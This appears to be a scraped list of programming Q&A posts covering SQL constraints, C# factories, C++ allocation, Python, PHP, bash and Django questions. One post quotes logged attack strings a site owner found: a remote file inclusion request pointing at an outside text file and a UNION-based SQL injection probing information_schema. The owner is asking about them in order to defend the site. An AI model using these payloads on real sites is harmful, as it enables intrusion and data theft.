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  • Unique constraint on more than 10 columns

    - by tk
    I have a time-series simulation model which has more than 10 input variables. The number of distinct simulation instances would be more than 1 million, and each simulation instance generates a few output rows every day. To save the simulation result in a relational database, i designed tables like this. Table SimulationModel { simul_id : integer (primary key), input0 : string or numeric, input1 : string or numeric, ...} Table SimulationOutput { dt : DateTime (primary key), simul_id : integer (primary key), output0 : numeric, ...} My question is, is it fine to put an unique constraint on all of the input columns of SimulationModel table? If it is not a good idea, then what kind of other options do i have to make sure each model is unique?

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  • Factory vs instance constructors

    - by Neil N
    I can't think of any reasons why one is better than the other. Compare these two implementations: public class MyClass { public myClass(string fileName) { // some code... } } as opposed to: public class MyClass { private myClass(){} public static Create(string fileName) { // some code... } } There are some places in the .Net framework that use the static method to create instances. At first I was thinking, it registers it's instances to keep track of them, but regular constructors could do the same thing through the use of private static variables. What is the reasoning behind this style?

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  • How should open source libraries be used on Windows?

    - by Jason Owen
    There are many open-source libraries that can be compiled with Visual Studio. I'm porting a program from Linux to Windows, but it depends on a number of libraries. I don't know what the best practices regarding libraries are on Windows. On Linux, these libraries are typically part of the distribution. To use sqlite on Debian, for example, you need only to install libsqlite3-dev and the include files and libraries (both static and dynamic) are automatically installed and available to your program. If you need a different version than your distribution supplies, you can compile it in your home directory, install it to ~/include and ~/lib, and set the appropriate environment variables so that your compiler includes those directories in its search path. What is the best way to use libraries that are distributed as source on Windows? If I link dynamically rather than statically, is there an easy way to copy required DLLs into the output directory to ease redistribution (assuming license requirements are met)?

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  • Is this an injection attempt or a normal request?

    - by CheeseConQueso
    In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example: /?x=19&y=15 The numbers are random, but its always setting x and y variables. Another category of mysterious requests: /?id=http://nic.bupt.edu.cn/media/j1.txt?? There are other attempts at injections in the request log that have straight sql written into them as well. Example: /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13-- It looks like they are all reaching a 404, but I'm still wondering about the intent behind these. I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason. Any suggestions as to what all these are?

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  • Manage bad_alloc exception in C++ construtor

    - by Jimmy zhang
    I have Java experience and recently am doing some C++ coding. My question is that if I have class A, in which I have to instantiate class B and class C as two of the member variables of A. If in the constructor of A, should I assume that allocations of class B and C never fail, and handle the bad allocation exception in the destructor of A? If I don't make that assumption, meaning that I add some try catch block to catch bad_alloc of class B and class C, then if the allocation exception occurs, should I do clean up in the constructor of A? What are the recommended practices? If "new" generates a bad allocation, what value does the pointer carry?

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  • How I Can do web programming with Lisp or Scheme?

    - by Castro
    I usually write web apps in PHP, Ruby or Perl. I am starting the study of Scheme and I want to try some web project with this language. But I can't find what is the best environment for this. I am looking for the following features: A simple way of get the request parameters (something like: get-get #key, get-post #key, get-cookie #key). Mysql access. HTML Form generators, processing, validators, etc. Helpers for filter user input data (something like htmlentities, escape variables for put in queries, etc). FLOSS. And GNU/Linux friendly. So, thanks in advance to all replies.

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  • Single-Page Web Apps: Client-side datastores & server persistence

    - by fig-gnuton
    How should client-side datastores & persistence be handled in a single-page web application? Global vars vs. DI/IoC: Should datastores be assigned to global variables so any part of the application can access them? Or should they be dependency injected where required? Server persistence: Assuming a datastore's data needn't always be persisted to the server immediately, should the datastore itself handle persistence? If not, then what class should handle persistence and how should the persistence class fit into the client-side architecture overall? Is the datastore considered the model in MVC, or is it something else since it just stores raw data?

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  • Django: where do I call settings.configure?

    - by RexE
    The Django docs say that I can call settings.configure instead of having a DJANGO_SETTINGS_MODULE. I would like my website's project to do this. In what file should I put the call to settings.configure so that my settings will get configured at the right time? Edit in response to Daniel Roseman's comment: The reason I want to do this is that settings.configure lets you pass in the settings variables as a kwargs dict, e.g. {'INSTALLED_APPS': ..., 'TEMPLATE_DIRS': ..., ...}. This would allow my app's users to specify their settings in a dict, then pass that dict to a function in my app that augments it with certain settings necessary to make my app work, e.g. adding entries to INSTALLED_APPS. What I envision looks like this. Let's call my app "rexe_app". In wsgi.py, my app's users would do: import rexe_app my_settings = {'INSTALLED_APPS': ('a','b'), ...} updated_settings = rexe_app.augment_settings(my_settings) # now updated_settings is {'INSTALLED_APPS': ('a','b','c'), 'SESSION_SAVE_EVERY_REQUEST': True, ...} settings.configure(**updated_settings)

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  • Is it inefficient to access a python class member container in a loop statement?

    - by Dave
    Hi there. I'm trying to adopt some best practices to keep my python code efficient. I've heard that accessing a member variable inside of a loop can incur a dictionary lookup for every iteration of the loop, so I cache these in local variables to use inside the loop. My question is about the loop statement itself... if I have the following class: class A(object): def init(self) self.myList = [ 'a','b','c', 'd', 'e' ] Does the following code in a member function incur one, or one-per-loop-iteration (5) dictionary lookups? for letter in self.myList: print letter IE, should I adopt the following pattern, if I am concerned about efficiency... localList = self.myList for letter in localList: print letter or is that actually LESS efficient due to the local variable assign? Note, I am aware that early optimization is a dangerous pitfall if I'm concerned about the overall efficiency of code development. Here I am specifically asking about the efficiency of the code, not the coding. Thanks in advance! D

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  • Bit conversion operations in PHP

    - by Goro
    Hello, I find myself in need of performing bit-level conversion on variables in PHP. In more detail, I have a bit stream that is read as an integer by hardware, and I need to do some operations on the bits to make it into what its actually supposed to be (a float). I have to do this a few times for different formats, and the functionality I need is Being able to select and move individual bits in a variable Being able to cast statically one type of variable to the other (ie. int to float) I know php natively supports bitwise AND, OR, etc, and shift operations, but I was wondering if: there may already be a library in php that does this sort of thing I would be better off with delegating the calculations to some other language Thanks,

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  • How do you override operator == when using interfaces instead of actual types?

    - by RickL
    I have some code like this: How should I implement the operator == so that it will be called when the variables are of interface IMyClass? public class MyClass : IMyClass { public static bool operator ==(MyClass a, MyClass b) { if (ReferenceEquals(a, b)) return true; if ((Object)a == null || (Object)b == null) return false; return false; } public static bool operator !=(MyClass a, MyClass b) { return !(a == b); } } class Program { static void Main(string[] args) { IMyClass m1 = new MyClass(); IMyClass m2 = new MyClass(); MyClass m3 = new MyClass(); MyClass m4 = new MyClass(); Console.WriteLine(m1 == m2); // does not go into custom == function. why not? Console.WriteLine(m3 == m4); // DOES go into custom == function } }

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  • How to tell a UITableView to preload all Rows?

    - by Infinite
    Is there a way to tell a UITableView to preload all rows? The tableView is supposed to show several comments (up to 80 comments). So my CommentCell uses a Setter to adapt the cell to a specific comment. -(void)setComment:(Comment *)newComment { if (newComment != comment) { [comment release]; comment = [newComment retain]; /* * set the cells view variables here */ } } This specific setter takes quite a bunch of processing resources and scrolling gets kinda laggy. I am using a comment-specific reuseIdentifier instead of a static cellIdentifier when calling dequeueReusableCellWithIdentifier: in order to assure, that "newComment" equals the old "comment". And in fact this does work great when scrolling over cells which have already been loaded. But when scrolling through the comments for the first time, it still lags like hell. Which leads me to my question: Is there a way to tell the tableview to preload all cells? (which I doubt) or Do I have to implement my own cache instead of relying on "dequeueReusableCellWithIdentifier:"?

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  • Fetching JSON object from Servlet Java

    - by ChrisA
    I want to create an application that will fetch a JSON object from a servlet to deserialize it, and then use its variables to do other things. My servlet has the following code in the doPost: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ObjectOutputStream os; os = new ObjectOutputStream(response.getOutputStream()); String s = new String("A String"); Gson gson = new Gson(); String gsonObject= gson.toJson(s); os.writeObject(gsonObject); os.close(); } Now, while the servlet is running, I can access it via a browser, if I post same code in the doGet method, that would download a servlet file, which is not what I want. What should I use in my second application that would connect to the servlet, fetch the object, so that I can manipulate it later? Thanks in advance.

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  • Can't read output of httpservice

    - by tag
    I have an HTTPservice that uses id="myhttp" url="site.com/script.php" method="POST" resultFormat="xml" script.php returns $output = '' . $worked . ''; echo $output; Problem is when I try to read worked, it tells me the variable worked is not there event.result.worked myhttp.lastResult.worked The only thing that works is using toString() myhttp.lastResult.toString() or event.result.toString() What am I doing wrong? I plan to add other variables to the output time, so need to access each time and worked separately. I may also need to return multiple responses each with their own worked and time values. How do I do that. I was thinking to not use XML. Is there a more lightweight option. Flex shows I have the following options: array e4x flashvars object text xml

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  • I don't get this C/C++ Joke

    - by Buttercup
    After reading this article on thedailywtf.com, I'm not sure that I really got the joke. It says there that some guy changed the code from int function() { int x; char data_string[15]; ... x = 2; strcpy(data_string,"data data data"); ... } to int function() { int x = 2; char data_string[15] = "data data data"; ... } everywhere in the code and that for some reason did inflate the size of the executable from 1 to 2 CDs (or maybe it didn't do that?). Obviously I'm not familiar enough with C/C++ to get this joke, but what seems strangest is that the 2nd code listing seems "cleaner"—at least from what I've been told in school (that is that initializing variables is a good thing, not a bad one).

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  • php array regular expressions

    - by bell
    I am using regular expressions in php to match postcodes found in a string. The results are being returned as an array, I was wondering if there is any way to assign variables to each of the results, something like $postcode1 = first match found $postcode2 = second match found here is my code $html = "some text here bt123ab and another postcode bt112cd"; preg_match_all("/([a-zA-Z]{2})([0-9]{2,3})([a-zA-Z]{2})/", $html, $matches, PREG_SET_ORDER); foreach ($matches as $val) { echo $val[0]; } I am very new to regular expressions and php, forgive me if this is a stupid question. Thanks in advance

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  • Wpf application variable not changing

    - by Hasan Zubairi
    In my application I need some variables on almost all the pages so I declared them in Application.xaml like <sys:String x:key="First">First</sys:String> and on one page I change the value in code like Resources["First"] = "This is First"; on the second page when I call the variable like String f = (string)this.TryFindResource("First"); MessageBox.Show(f); the out put is "First" and not "This is First". I also tried like. Application.Current.Properties["First"]

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  • c# how to set up and use session state from preinit

    - by Praesagus
    OK so to set and read variables from the current session String Myvar =(string) System.Web.HttpContext.Current.Session[“MyVariable”] To set System.Web.HttpContext.Current.Session[“MyVariable”] = “NewValue” I can do neither, I get a System.NullReferenceException: Object reference not set to an instance of an object. from System.Web.HttpContext.Current.Session. In my web.config I have <sessionState mode="StateServer" stateConnectionString="tcpip=127.0.0.1:42424" cookieless="false" timeout="20"> </sessionState> I have read a dozen articles on the the necessity of IHttpHandler and an IRequiresSessionState interface. I think the issue may be caused because I am requesting this information in Page_PreInit. I found a solution in a stack overflow article but I don't seem be using it properly to actually make this go. I am not sure what I am missing. Thanks in advance.

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  • functions in assembler

    - by stupid_idiot
    hi, i have philosophised about the purpose of stack a little bit and after some coding i figured out what is it's strength. The only thing that lies in my stomache is how does it work with functions? I tried to make some easy function for adding two numbers using universal registers but I suppose that's not how does it work in C for example.. where are all the parameters, local variables and where is the result stored? how would you rewrite this to assembler?(how would compiler for C rewrite it?) int function(int a, int &b, int *c){ return a*(b++)+(*c); } i know this example kinda sucks.. but this way i can understand all the possibilities

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  • namespacing large javascript like jquery

    - by frenchie
    I have a very large javascript file: it's over 9,000 lines. The code looks like this: var GlobalVar1 = ""; var GlobalVar2 = null; function A() {...} function B(SomeParameter) {...} I'm using the google compiler and the global variables and functions get renamed a,b,c... and there's a good change that there might be some collision later with some outside code. What I want to do is have my code organized like the jquery library where everything is accessible with $. Is there a way to namespace my code so that everything is behind a # character for example. I'd like to have this to call my code: #.GlobalVar #.functionA(SomeParameter) How can I do this? Thanks.

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  • Why is volatile not considered useful in multithreaded C or C++ programming?

    - by Michael E
    As demonstrated in this answer I recently posted, I seem to be confused about the utility (or lack thereof) of volatile in multi-threaded programming contexts. My understanding is this: any time a variable may be changed outside the flow of control of a piece of code accessing it, that variable should be declared to be volatile. Signal handlers, I/O registers, and variables modified by another thread all constitute such situations. So, if you have a global int foo, and foo is read by one thread and set atomically by another thread (probably using an appropriate machine instruction), the reading thread sees this situation in the same way it sees a variable tweaked by a signal handler or modified by an external hardware condition and thus foo should be declared volatile (or, for multithreaded situations, accessed with memory-fenced load, which is probably a better a solution). How and where am I wrong?

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  • Variable loss in redirected bash while loop

    - by James Hadley
    I have the following code for ip in $(ifconfig | awk -F ":" '/inet addr/{split($2,a," ");print a[1]}') do bytesin=0; bytesout=0; while read line do if [[ $(echo ${line} | awk '{print $1}') == ${ip} ]] then increment=$(echo ${line} | awk '{print $4}') bytesout=$((${bytesout} + ${increment})) else increment=$(echo ${line} | awk '{print $4}') bytesin=$((${bytesin} + ${increment})) fi done < <(pmacct -s | grep ${ip}) echo "${ip} ${bytesin} ${bytesout}" >> /tmp/bwacct.txt done Which I would like to print the incremented values to bwacct.txt, but instead the file is full of zeroes: 91.227.223.66 0 0 91.227.221.126 0 0 127.0.0.1 0 0 My understanding of Bash is that a redirected for loop should preserve variables. What am I doing wrong?

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  • Debugging Drupal 6

    - by coach_rob
    OK, I've read and attempted all of the tutorials I can find on being able to debug a locally installed Drupal 6 instance. I'm on Windows, 32-bit. I have access to Eclipse (obviously) as well as Visual Studio 2005/2008. I've yet to be able to get any of the Eclipse options (XDebug, Zend, etc.) working to be able to step through code, inspect variables, etc. I've heard good things about VS.PHP, but haven't committed to the $100 or whatever it is. Can some of your PHP/Drupal gurus out there tell me the best, simplest, most reliable way to debug Drupal and PHP on the Windows platform?

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  • MySQL thousands of updates, slowing down.

    - by noryb009
    I need to run a PHP loop for a total of 100, 000 times (about 10, 000 each script-run), and each loop has about 5 MySQL UPDATES to it. When I run the loop 50 times, it takes 3 sec. When I run the loop 1000 times, it takes about 1300 sec. As you can see, MySQL is slowing down ALOT with more UPDATEs. This is an example update: mysql_query("UPDATE table SET `row1`=`row1` +1 WHERE `UniqueValue`='5'"); This is generated randomly from PHP, but I can store it in a variable and run it every n loops. Is there any way to either make MySQL and PHP run at a consistent speed (is PHP storing hidden variables?), or split up the script so they do? Note: I am running this for a development purposes, not for production, so there will only be 1 computer accessing the data.

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  • c++ normalizing data sizes across systems

    - by Bocochoco
    I have a struct with three variables: two unsigned ints and an unsigned char. From my understanding, a c++ char is always 1 byte regardless of what operating system it is on. The same can't be said for other datatypes. I am looking for a way to normalize POD's so that when saved into a binary file, the resulting file is readable on any operating system that the code is compiled for. I changed my struct to use a 1-byte alignment by adding #pragma as follows: #pragma pack(push, 1) struct test { int a; } #pragma pack(pop) but that doesn't necessarily mean that int a is exactly 4 bytes on every os, I don't think? Is there a way to ensure that a file saved from my code will always be readable?

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